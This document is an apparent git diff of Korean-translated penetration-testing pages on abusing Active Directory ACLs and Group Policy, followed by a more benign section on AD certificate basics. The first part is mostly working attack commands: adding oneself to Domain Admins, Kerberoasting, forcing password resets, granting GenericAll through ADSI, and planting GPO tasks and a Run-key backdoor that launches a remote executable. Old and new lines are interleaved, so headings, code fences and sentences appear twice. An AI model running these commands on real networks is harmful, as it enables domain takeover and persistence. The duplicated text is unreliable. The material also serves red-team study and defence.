**이 페이지는 주로** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **와** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**의 기술 요약입니다. 자세한 내용은 원본 기사를 확인하세요.**
**이 페이지는 주로** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **와** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**의 기술 요약입니다. 더 자세한 내용은 원본 기사를 확인하세요.**
## **사용자에 대한 GenericAll 권한**
이 권한은 공격자에게 대상 사용자 계정에 대한 완전한 제어를 부여합니다. `Get-ObjectAcl` 명령을 사용하여 `GenericAll` 권한이 확인되면, 공격자는 다음을 수행할 수 있습니다:
이 권한은 공격자에게 대상 사용자 계정에 대한 완전한 제어를 부여합니다. `Get-ObjectAcl` 명령을 사용하여 `GenericAll` 권한이 확인되면, 공격자는:
- **대상의 비밀번호 변경**: `net user <username> <password> /domain`을 사용하여 공격자는 사용자의 비밀번호를 재설정할 수 있습니다.
- **대상 Kerberoasting**: 사용자의 계정에 SPN을 할당하여 kerberoastable하게 만든 후, Rubeus와 targetedKerberoast.py를 사용하여 티켓 부여 티켓(TGT) 해시를 추출하고 크랙을 시도합니다.
```powershell
- **대상의 비밀번호 변경**: `net user <username> <password> /domain`을 사용하여 사용자의 비밀번호를 재설정할 수 있습니다.
- **타겟 Kerberoasting**: 사용자의 계정에 SPN을 할당하여 kerberoastable하게 만든 후, Rubeus와 targetedKerberoast.py를 사용하여 티켓 부여 티켓(TGT) 해시를 추출하고 크랙을 시도할 수 있습니다.
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting**: 사용자의 사전 인증을 비활성화하여 해당 계정을 ASREPRoasting에 취약하게 만듭니다.
```powershell
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **GenericAll 권한이 있는 그룹**
이 권한은 공격자가 `Domain Admins`와 같은 그룹에 `GenericAll` 권한이 있을 경우 그룹 멤버십을 조작할 수 있게 해줍니다. `Get-NetGroup`을 사용하여 그룹의 고유 이름을 식별한 후, 공격자는:
- **자신을 Domain Admins 그룹에 추가**: 이는 직접 명령어를 사용하거나 Active Directory 또는 PowerSploit와 같은 모듈을 사용하여 수행할 수 있습니다.
```powershell
- **자신을 Domain Admins 그룹에 추가**: 이는 직접 명령을 사용하거나 Active Directory 또는 PowerSploit와 같은 모듈을 사용하여 수행할 수 있습니다.
```bash
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
## **GenericAll / GenericWrite / Write on Computer/User**
이러한 권한을 컴퓨터 객체나 사용자 계정에서 보유하면 다음과 같은 작업이 가능합니다:
이러한 권한을 컴퓨터 객체나 사용자 계정에서 보유하면 다음을 수행할 수 있습니다:
- **Kerberos Resource-based Constrained Delegation**: 컴퓨터 객체를 장악할 수 있게 해줍니다.
- **Shadow Credentials**: 이 기술을 사용하여 권한을 이용해 그림자 자격 증명을 생성함으로써 컴퓨터 또는 사용자 계정을 가장할 수 있습니다.
- **Shadow Credentials**: 이 기술을 사용하여 그림자 자격 증명을 생성할 수 있는 권한을 악용하여 컴퓨터 또는 사용자 계정을 가장할 수 있습니다.
## **WriteProperty on Group**
사용자가 특정 그룹(예: `Domain Admins`)의 모든 객체에 대해 `WriteProperty` 권한을 가지고 있다면, 다음과 같은 작업을 수행할 수 있습니다:
사용자가 특정 그룹(예: `Domain Admins`)의 모든 객체에 대해 `WriteProperty` 권한을 가지고 있다면, 그들은:
- **자신을 Domain Admins 그룹에 추가**: `net user`와 `Add-NetGroupUser` 명령을 결합하여 이 방법으로 도메인 내에서 권한 상승이 가능합니다.
```powershell
- **자신을 Domain Admins 그룹에 추가**: `net user`와 `Add-NetGroupUser` 명령을 결합하여 이 방법을 통해 도메인 내에서 권한 상승을 할 수 있습니다.
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Self (Self-Membership) on Group**
이 권한은 공격자가 `Domain Admins`와 같은 특정 그룹에 자신을 추가할 수 있게 해줍니다. 다음 명령어 시퀀스를 사용하면 자기 추가가 가능합니다:
```powershell
이 권한은 공격자가 `Domain Admins`와 같은 특정 그룹에 자신을 추가할 수 있게 해줍니다. 그룹 멤버십을 직접 조작하는 명령을 통해 가능합니다. 다음 명령 시퀀스를 사용하면 자기 추가가 가능합니다:
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Self-Membership)**
유사한 권한으로, 공격자는 해당 그룹에 대한 `WriteProperty` 권한이 있는 경우 그룹 속성을 수정하여 자신을 직접 그룹에 추가할 수 있습니다. 이 권한의 확인 및 실행은 다음과 같이 수행됩니다:
```powershell
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
`User-Force-Change-Password`에 대한 사용자의 `ExtendedRight`를 보유하면 현재 비밀번호를 알지 못하고도 비밀번호를 재설정할 수 있습니다. 이 권한의 검증 및 악용은 PowerShell 또는 대체 명령줄 도구를 통해 수행할 수 있으며, 대화형 세션 및 비대화형 환경을 위한 원라이너를 포함하여 사용자의 비밀번호를 재설정하는 여러 방법을 제공합니다. 명령은 간단한 PowerShell 호출에서 Linux의 `rpcclient` 사용에 이르기까지 다양하여 공격 벡터의 다재다능함을 보여줍니다.
```powershell
`User-Force-Change-Password`에 대한 사용자의 `ExtendedRight`를 보유하면 현재 비밀번호를 알지 못해도 비밀번호를 재설정할 수 있습니다. 이 권한의 검증 및 악용은 PowerShell 또는 대체 명령줄 도구를 통해 수행할 수 있으며, 대화형 세션 및 비대화형 환경을 위한 원라이너를 포함하여 사용자의 비밀번호를 재설정하는 여러 방법을 제공합니다. 명령은 간단한 PowerShell 호출에서 Linux의 `rpcclient` 사용에 이르기까지 다양하여 공격 벡터의 다재다능함을 보여줍니다.
```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@ -70,10 +70,10 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
## **Group에 대한 WriteOwner**
## **WriteOwner on Group**
공격자가 그룹에 대해 `WriteOwner` 권한을 가지고 있다고 판단하면, 그들은 그룹의 소유권을 자신으로 변경할 수 있습니다. 이는 해당 그룹이 `Domain Admins`일 경우 특히 영향력이 큽니다. 소유권을 변경하면 그룹 속성과 구성원에 대한 더 넓은 제어가 가능해집니다. 이 과정은 `Get-ObjectAcl`을 통해 올바른 객체를 식별한 다음, `Set-DomainObjectOwner`를 사용하여 SID 또는 이름으로 소유자를 수정하는 것을 포함합니다.
```powershell
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
@ -81,13 +81,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
## **GenericWrite on User**
이 권한은 공격자가 사용자 속성을 수정할 수 있게 해줍니다. 구체적으로, `GenericWrite` 접근 권한을 통해 공격자는 사용자의 로그온 스크립트 경로를 변경하여 사용자가 로그온할 때 악성 스크립트를 실행할 수 있습니다. 이는 `Set-ADObject` 명령을 사용하여 대상 사용자의 `scriptpath` 속성을 공격자의 스크립트를 가리키도록 업데이트함으로써 달성됩니다.
```powershell
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite on Group**
이 권한을 통해 공격자는 그룹 구성원을 조작할 수 있으며, 예를 들어 자신이나 다른 사용자를 특정 그룹에 추가할 수 있습니다. 이 과정은 자격 증명 객체를 생성하고, 이를 사용하여 그룹에서 사용자를 추가하거나 제거하며, PowerShell 명령어로 구성원 변경 사항을 확인하는 것을 포함합니다.
```powershell
이 권한을 통해 공격자는 그룹 구성원을 조작할 수 있으며, 예를 들어 자신이나 다른 사용자를 특정 그룹에 추가할 수 있습니다. 이 과정은 자격 증명 객체를 생성하고, 이를 사용하여 그룹에서 사용자를 추가하거나 제거하며, PowerShell 명령으로 구성원 변경 사항을 확인하는 것을 포함합니다.
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
@ -96,8 +96,8 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
```
## **WriteDACL + WriteOwner**
AD 객체를 소유하고 그에 대한 `WriteDACL` 권한을 가지면 공격자는 자신에게 객체에 대한 `GenericAll` 권한을 부여할 수 있습니다. 이는 ADSI 조작을 통해 이루어지며, 객체에 대한 완전한 제어와 그룹 구성원 자격을 수정할 수 있는 능력을 제공합니다. 그럼에도 불구하고 Active Directory 모듈의 `Set-Acl` / `Get-Acl` cmdlet을 사용하여 이러한 권한을 악용하려고 할 때 제한이 존재합니다.
```powershell
AD 객체를 소유하고 그에 대한 `WriteDACL` 권한을 가지면 공격자는 자신에게 해당 객체에 대한 `GenericAll` 권한을 부여할 수 있습니다. 이는 ADSI 조작을 통해 이루어지며, 객체에 대한 완전한 제어와 그룹 구성원 자격을 수정할 수 있는 능력을 허용합니다. 그럼에도 불구하고 Active Directory 모듈의 `Set-Acl` / `Get-Acl` cmdlet을 사용하여 이러한 권한을 악용하려고 할 때 제한 사항이 존재합니다.
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
@ -112,7 +112,7 @@ DCSync 공격은 도메인에서 특정 복제 권한을 활용하여 도메인
### GPO 위임
그룹 정책 객체(GPO)를 관리하기 위한 위임된 접근은 상당한 보안 위험을 초래할 수 있습니다. 예를 들어, `offense\spotless`와 같은 사용자가 GPO 관리 권한을 위임받으면 **WriteProperty**, **WriteDacl**, **WriteOwner**와 같은 권한을 가질 수 있습니다. 이러한 권한은 PowerView를 사용하여 악의적인 목적으로 남용될 수 있습니다: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
그룹 정책 개체(GPO)를 관리하기 위한 위임된 접근은 상당한 보안 위험을 초래할 수 있습니다. 예를 들어, `offense\spotless`와 같은 사용자가 GPO 관리 권한을 위임받으면 **WriteProperty**, **WriteDacl**, **WriteOwner**와 같은 권한을 가질 수 있습니다. 이러한 권한은 PowerView를 사용하여 악용될 수 있습니다: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### GPO 권한 열거
@ -126,14 +126,14 @@ DCSync 공격은 도메인에서 특정 복제 권한을 활용하여 도메인
### GPO 남용 - New-GPOImmediateTask
잘못 구성된 GPO는 즉시 예약된 작업을 생성하여 코드를 실행하는 데 악용될 수 있습니다. 이는 영향을 받는 머신에서 로컬 관리자 그룹에 사용자를 추가하여 권한을 크게 상승시킬 수 있습니다:
```powershell
잘못 구성된 GPO는 코드를 실행하기 위해 악용될 수 있으며, 예를 들어 즉시 예약된 작업을 생성하여 영향을 받는 머신의 로컬 관리자 그룹에 사용자를 추가할 수 있습니다. 이는 권한을 크게 상승시킬 수 있습니다:
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy 모듈 - GPO 남용
GroupPolicy 모듈이 설치된 경우, 새로운 GPO를 생성하고 연결할 수 있으며, 영향을 받는 컴퓨터에서 백도어를 실행하기 위한 레지스트리 값과 같은 설정을 할 수 있습니다. 이 방법은 GPO가 업데이트되고 사용자가 컴퓨터에 로그인해야 실행됩니다:
```powershell
```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
@ -145,13 +145,13 @@ SharpGPOAbuse는 새로운 GPO를 생성할 필요 없이 기존 GPO를 악용
```
### 정책 업데이트 강제 적용
GPO 업데이트는 일반적으로 약 90분마다 발생합니다. 이 프로세스를 가속화하기 위해, 특히 변경 사항을 적용한 후에는 `gpupdate /force` 명령을 대상 컴퓨터에서 사용하여 즉각적인 정책 업데이트를 강제할 수 있습니다. 이 명령은 GPO에 대한 모든 수정 사항이 다음 자동 업데이트 주기를 기다리지 않고 적용되도록 보장합니다.
GPO 업데이트는 일반적으로 약 90분마다 발생합니다. 이 프로세스를 가속화하기 위해, 특히 변경 사항을 구현한 후에는 대상 컴퓨터에서 `gpupdate /force` 명령을 사용하여 즉각적인 정책 업데이트를 강제할 수 있습니다. 이 명령은 GPO에 대한 수정 사항이 다음 자동 업데이트 주기를 기다리지 않고 적용되도록 보장합니다.
### 내부 작동
주어진 GPO의 예약된 작업을 검사하면, `Misconfigured Policy`와 같은 작업이 추가된 것을 확인할 수 있습니다. 이러한 작업은 시스템 동작을 수정하거나 권한을 상승시키기 위한 스크립트 또는 명령줄 도구를 통해 생성됩니다.
주어진 GPO의 예약된 작업을 검사하면, `Misconfigured Policy`와 같은 작업이 추가된 것을 확인할 수 있습니다. 이러한 작업은 시스템 동작을 수정하거나 권한을 상승시키기 위한 스크립트나 명령줄 도구를 통해 생성됩니다.
`New-GPOImmediateTask`에 의해 생성된 XML 구성 파일에 표시된 작업의 구조는 예약된 작업의 세부 사항을 설명합니다 - 실행할 명령과 그 트리거를 포함합니다. 이 파일은 GPO 내에서 예약된 작업이 어떻게 정의되고 관리되는지를 나타내며, 정책 집행의 일환으로 임의의 명령이나 스크립트를 실행하는 방법을 제공합니다.
`New-GPOImmediateTask`에 의해 생성된 XML 구성 파일에 표시된 작업 구조는 예약된 작업의 세부 사항을 설명합니다 - 실행할 명령과 그 트리거를 포함합니다. 이 파일은 GPO 내에서 예약된 작업이 어떻게 정의되고 관리되는지를 나타내며, 정책 집행의 일환으로 임의의 명령이나 스크립트를 실행하는 방법을 제공합니다.
### 사용자 및 그룹
@ -159,7 +159,7 @@ GPO는 또한 대상 시스템에서 사용자 및 그룹 구성원의 조작을
사용자 및 그룹에 대한 XML 구성 파일은 이러한 변경 사항이 어떻게 구현되는지를 설명합니다. 이 파일에 항목을 추가함으로써 특정 사용자에게 영향을 받는 시스템에서 상승된 권한을 부여할 수 있습니다. 이 방법은 GPO 조작을 통한 권한 상승에 대한 직접적인 접근 방식을 제공합니다.
또한, 로그온/로그오프 스크립트를 활용하거나, 자동 실행을 위한 레지스트리 키를 수정하거나, .msi 파일을 통해 소프트웨어를 설치하거나, 서비스 구성을 편집하는 등의 코드를 실행하거나 지속성을 유지하기 위한 추가 방법도 고려될 수 있습니다. 이러한 기술은 GPO의 남용을 통해 접근을 유지하고 대상 시스템을 제어하는 다양한 경로를 제공합니다.
또한, 로그온/로그오프 스크립트를 활용하거나, 자동 실행을 위한 레지스트리 키를 수정하거나, .msi 파일을 통해 소프트웨어를 설치하거나, 서비스 구성을 편집하는 등의 코드를 실행하거나 지속성을 유지하기 위한 추가 방법도 고려할 수 있습니다. 이러한 기술은 GPO의 남용을 통해 접근을 유지하고 대상 시스템을 제어하는 다양한 경로를 제공합니다.
## 참고 문헌

56
src/windows-hardening/active-directory-methodology/ad-certificates.md
View File

@ -6,35 +6,35 @@
### Components of a Certificate
- **주체(Subject)**는 인증서의 소유자를 나타냅니다.
- **공개 키(Public Key)**는 개인 키와 쌍을 이루어 인증서를 정당한 소유자와 연결합니다.
- **유효 기간(Validity Period)**은 **NotBefore** 및 **NotAfter** 날짜로 정의되며, 인증서의 유효 기간을 표시합니다.
- 고유한 **일련 번호(Serial Number)**는 인증 기관(CA)에서 제공하며 각 인증서를 식별합니다.
- **발급자(Issuer)**는 인증서를 발급한 CA를 나타냅니다.
- **주체 대체 이름(SubjectAlternativeName)**은 주체에 대한 추가 이름을 허용하여 식별 유연성을 향상시킵니다.
- **기본 제약 조건(Basic Constraints)**은 인증서가 CA용인지 최종 엔티티용인지 식별하고 사용 제한을 정의합니다.
- **확장 키 사용(Extended Key Usages, EKUs)**은 객체 식별자(OIDs)를 통해 코드 서명 또는 이메일 암호화와 같은 인증서의 특정 목적을 구분합니다.
- **서명 알고리즘(Signature Algorithm)**은 인증서 서명 방법을 지정합니다.
- **서명(Signature)**은 발급자의 개인 키로 생성되어 인증서의 진위를 보장합니다.
- 인증서의 **주체**는 소유자를 나타냅니다.
- **공개 키**는 개인 키와 쌍을 이루어 인증서를 정당한 소유자와 연결합니다.
- **유효 기간**은 **NotBefore** 및 **NotAfter** 날짜로 정의되며, 인증서의 유효 기간을 표시합니다.
- 고유한 **일련 번호**는 인증 기관(CA)에서 제공하며 각 인증서를 식별합니다.
- **발급자**는 인증서를 발급한 CA를 나타냅니다.
- **SubjectAlternativeName**은 주체에 대한 추가 이름을 허용하여 식별 유연성을 향상시킵니다.
- **기본 제약 조건**은 인증서가 CA용인지 최종 엔티티용인지 식별하고 사용 제한을 정의합니다.
- **확장 키 사용(EKUs)**은 인증서의 특정 목적(예: 코드 서명 또는 이메일 암호화)을 객체 식별자(OIDs)를 통해 구분합니다.
- **서명 알고리즘**은 인증서 서명 방법을 지정합니다.
- **서명**은 발급자의 개인 키로 생성되어 인증서의 진위를 보장합니다.
### Special Considerations
- **주체 대체 이름(SANs)**은 인증서의 적용 범위를 여러 신원으로 확장하여 여러 도메인을 가진 서버에 중요합니다. 안전한 발급 프로세스는 SAN 사양을 조작하는 공격자에 의한 사칭 위험을 피하는 데 필수적입니다.
- **주체 대체 이름(SANs)**은 인증서의 적용 범위를 여러 신원으로 확장하여 여러 도메인을 가진 서버에 중요합니다. 공격자가 SAN 사양을 조작하여 사칭 위험을 피하기 위해 안전한 발급 프로세스가 필수적입니다.
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS는 AD 포리스트 내에서 지정된 컨테이너를 통해 CA 인증서를 인식하며, 각 컨테이너는 고유한 역할을 수행합니다:
- **인증 기관(Certification Authorities)** 컨테이너는 신뢰할 수 있는 루트 CA 인증서를 보유합니다.
- **등록 서비스(Enrolment Services)** 컨테이너는 엔터프라이즈 CA 및 해당 인증서 템플릿을 자세히 설명합니다.
- **인증 기관** 컨테이너는 신뢰할 수 있는 루트 CA 인증서를 보유합니다.
- **등록 서비스** 컨테이너는 엔터프라이즈 CA 및 해당 인증서 템플릿을 자세히 설명합니다.
- **NTAuthCertificates** 객체는 AD 인증을 위해 승인된 CA 인증서를 포함합니다.
- **AIA(Authority Information Access)** 컨테이너는 중간 및 교차 CA 인증서를 통해 인증서 체인 검증을 용이하게 합니다.
- **AIA (Authority Information Access)** 컨테이너는 중간 및 교차 CA 인증서와 함께 인증서 체인 유효성을 검사하는 데 도움을 줍니다.
### Certificate Acquisition: Client Certificate Request Flow
1. 요청 프로세스는 클라이언트가 엔터프라이즈 CA를 찾는 것으로 시작됩니다.
2. 공개-개인 키 쌍을 생성한 후, 공개 키 및 기타 세부 정보를 포함하는 CSR이 생성됩니다.
3. CA는 사용 가능한 인증서 템플릿에 대해 CSR을 평가하고 템플릿의 권한에 따라 인증서를 발급합니다.
3. CA는 사용 가능한 인증서 템플릿에 대해 CSR을 평가하고, 템플릿의 권한에 따라 인증서를 발급합니다.
4. 승인 후, CA는 개인 키로 인증서에 서명하고 클라이언트에게 반환합니다.
### Certificate Templates
@ -43,17 +43,17 @@ AD 내에서 정의된 이러한 템플릿은 인증서 발급을 위한 설정
## Certificate Enrollment
인증서 등록 프로세스는 관리자가 **인증서 템플릿을 생성**함으로써 시작되며, 이후 **엔터프라이즈 인증 기관(CA)**에 의해 **게시**됩니다. 이는 템플릿을 클라이언트 등록을 위해 사용할 수 있게 하며, 이는 Active Directory 객체의 `certificatetemplates` 필드에 템플릿 이름을 추가하여 달성됩니다.
인증서 등록 프로세스는 관리자가 **인증서 템플릿을 생성**함으로써 시작되며, 이후 **엔터프라이즈 인증 기관(CA)**에 의해 **게시**됩니다. 이는 템플릿을 클라이언트 등록을 위해 사용할 수 있게 하며, 이는 Active Directory 객체의 `certificatetemplates` 필드에 템플릿 이름을 추가하여 이루어집니다.
클라이언트가 인증서를 요청하려면 **등록 권한**이 부여되어야 합니다. 이러한 권한은 인증서 템플릿 및 엔터프라이즈 CA 자체의 보안 설명자에 의해 정의됩니다. 요청이 성공적으로 이루어지려면 두 위치 모두에서 권한이 부여되어야 합니다.
클라이언트가 인증서를 요청하려면 **등록 권한**이 부여되어야 합니다. 이러한 권한은 인증서 템플릿 및 엔터프라이즈 CA 자체의 보안 설명자에 의해 정의됩니다. 요청이 성공하려면 두 위치 모두에서 권한이 부여되어야 합니다.
### Template Enrollment Rights
이러한 권한은 접근 제어 항목(ACE)을 통해 지정되며, 다음과 같은 권한을 자세히 설명합니다:
이러한 권한은 Access Control Entries (ACEs)를 통해 지정되며, 다음과 같은 권한을 자세히 설명합니다:
- **인증서 등록(Certificate-Enrollment)** 및 **인증서 자동 등록(Certificate-AutoEnrollment)** 권한, 각각 특정 GUID와 연결됩니다.
- **확장 권한(ExtendedRights)**, 모든 확장 권한을 허용합니다.
- **전체 제어/일반 모든 권한(FullControl/GenericAll)**, 템플릿에 대한 완전한 제어를 제공합니다.
- **Certificate-Enrollment** 및 **Certificate-AutoEnrollment** 권한, 각각 특정 GUID와 연결됩니다.
- **ExtendedRights**, 모든 확장 권한을 허용합니다.
- **FullControl/GenericAll**, 템플릿에 대한 완전한 제어를 제공합니다.
### Enterprise CA Enrollment Rights
@ -63,21 +63,21 @@ CA의 권한은 보안 설명서에 명시되어 있으며, 인증 기관 관리
특정 제어가 적용될 수 있습니다, 예를 들어:
- **관리자 승인(Manager Approval)**: 요청을 인증서 관리자가 승인할 때까지 보류 상태로 둡니다.
- **등록 에이전트 및 승인 서명(Enrolment Agents and Authorized Signatures)**: CSR에 필요한 서명의 수와 필요한 애플리케이션 정책 OID를 지정합니다.
- **관리자 승인**: 요청을 인증서 관리자가 승인할 때까지 보류 상태로 둡니다.
- **등록 에이전트 및 승인된 서명**: CSR에 필요한 서명의 수와 필요한 애플리케이션 정책 OID를 지정합니다.
### Methods to Request Certificates
인증서는 다음을 통해 요청할 수 있습니다:
1. **Windows 클라이언트 인증서 등록 프로토콜** (MS-WCCE), DCOM 인터페이스를 사용합니다.
2. **ICertPassage 원격 프로토콜** (MS-ICPR), 명명된 파이프 또는 TCP/IP를 통해.
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM 인터페이스를 사용합니다.
2. **ICertPassage Remote Protocol** (MS-ICPR), 명명된 파이프 또는 TCP/IP를 통해.
3. **인증서 등록 웹 인터페이스**, 인증 기관 웹 등록 역할이 설치된 경우.
4. **인증서 등록 서비스** (CES), 인증서 등록 정책(CEP) 서비스와 함께.
5. **네트워크 장치 등록 서비스** (NDES) 네트워크 장치를 위한, 간단한 인증서 등록 프로토콜(SCEP)을 사용합니다.
Windows 사용자는 GUI(`certmgr.msc` 또는 `certlm.msc`) 또는 명령줄 도구(`certreq.exe` 또는 PowerShell의 `Get-Certificate` 명령)를 통해 인증서를 요청할 수도 있습니다.
```powershell
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
@ -87,7 +87,7 @@ Active Directory (AD)는 인증서 인증을 지원하며, 주로 **Kerberos**
### Kerberos 인증 프로세스
Kerberos 인증 프로세스에서 사용자의 Ticket Granting Ticket (TGT) 요청은 사용자의 인증서의 **개인 키**를 사용하여 서명됩니다. 이 요청은 도메인 컨트롤러에 의해 여러 검증을 거치며, 여기에는 인증서의 **유효성**, **경로**, 및 **폐기 상태**가 포함됩니다. 검증에는 인증서가 신뢰할 수 있는 출처에서 왔는지 확인하고 발급자의 존재를 **NTAUTH 인증서 저장소**에서 확인하는 것도 포함됩니다. 검증이 성공적으로 완료되면 TGT가 발급됩니다. AD의 **`NTAuthCertificates`** 객체는 다음 위치에 있습니다:
Kerberos 인증 프로세스에서 사용자의 티켓 발급 요청(TGT)은 사용자의 인증서의 **개인 키**를 사용하여 서명됩니다. 이 요청은 도메인 컨트롤러에 의해 인증서의 **유효성**, **경로**, 및 **폐기 상태**를 포함한 여러 검증을 거칩니다. 검증에는 인증서가 신뢰할 수 있는 출처에서 왔는지 확인하고 발급자의 존재를 **NTAUTH 인증서 저장소**에서 확인하는 것도 포함됩니다. 검증이 성공적으로 완료되면 TGT가 발급됩니다. AD의 **`NTAuthCertificates`** 객체는 다음 위치에 있습니다:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
@ -115,7 +115,7 @@ certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
certutil.exe -TCAInfo
certutil -v -dstemplate
```
## 참고문헌
## References
- [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
- [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html)

28
src/windows-hardening/active-directory-methodology/ad-certificates/README.md
View File

@ -13,7 +13,7 @@
- **발급자**는 인증서를 발급한 CA를 나타냅니다.
- **SubjectAlternativeName**은 주체에 대한 추가 이름을 허용하여 식별 유연성을 향상시킵니다.
- **기본 제약 조건**은 인증서가 CA용인지 최종 엔티티용인지 식별하고 사용 제한을 정의합니다.
- **확장 키 사용(EKUs)**은 인증서의 특정 목적을 개체 식별자(OIDs)를 통해 구분합니다.
- **확장 키 사용(EKUs)**는 객체 식별자(OIDs)를 통해 코드 서명 또는 이메일 암호화와 같은 인증서의 특정 목적을 구분합니다.
- **서명 알고리즘**은 인증서 서명 방법을 지정합니다.
- **서명**은 발급자의 개인 키로 생성되어 인증서의 진위를 보장합니다.
@ -23,12 +23,12 @@
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS는 AD 포리스트 내에서 지정된 컨테이너를 통해 CA 인증서를 인식하며, 각 컨테이너는 고유한 역할을 수행합니다:
AD CS는 지정된 컨테이너를 통해 AD 포리스트에서 CA 인증서를 인식하며, 각 컨테이너는 고유한 역할을 수행합니다:
- **인증 기관** 컨테이너는 신뢰할 수 있는 루트 CA 인증서를 보유합니다.
- **등록 서비스** 컨테이너는 엔터프라이즈 CA 및 해당 인증서 템플릿을 자세히 설명합니다.
- **NTAuthCertificates** 객체는 AD 인증을 위해 승인된 CA 인증서를 포함합니다.
- **AIA (Authority Information Access)** 컨테이너는 중간 및 교차 CA 인증서를 통해 인증서 체인 검증을 용이하게 합니다.
- **AIA (Authority Information Access)** 컨테이너는 중간 및 교차 CA 인증서와 함께 인증서 체인 유효성을 검사합니다.
### Certificate Acquisition: Client Certificate Request Flow
@ -43,9 +43,9 @@ AD 내에서 정의된 이러한 템플릿은 인증서 발급을 위한 설정
## Certificate Enrollment
인증서 등록 프로세스는 관리자가 **인증서 템플릿을 생성**함으로써 시작되며, 이후 **엔터프라이즈 인증 기관(CA)**에 의해 **게시**됩니다. 이는 템플릿을 클라이언트 등록을 위해 사용할 수 있게 하며, 이는 Active Directory 객체의 `certificatetemplates` 필드에 템플릿 이름을 추가하여 달성됩니다.
인증서 등록 프로세스는 관리자가 **인증서 템플릿을 생성**하는 것으로 시작되며, 이후 **엔터프라이즈 인증 기관(CA)**에 의해 **게시**됩니다. 이는 템플릿을 클라이언트 등록을 위해 사용할 수 있게 하며, 이는 Active Directory 객체의 `certificatetemplates` 필드에 템플릿 이름을 추가하여 달성됩니다.
클라이언트가 인증서를 요청하려면 **등록 권한**이 부여되어야 합니다. 이러한 권한은 인증서 템플릿 및 엔터프라이즈 CA 자체의 보안 설명자에 의해 정의됩니다. 요청이 성공적으로 이루어지려면 두 위치 모두에서 권한이 부여되어야 합니다.
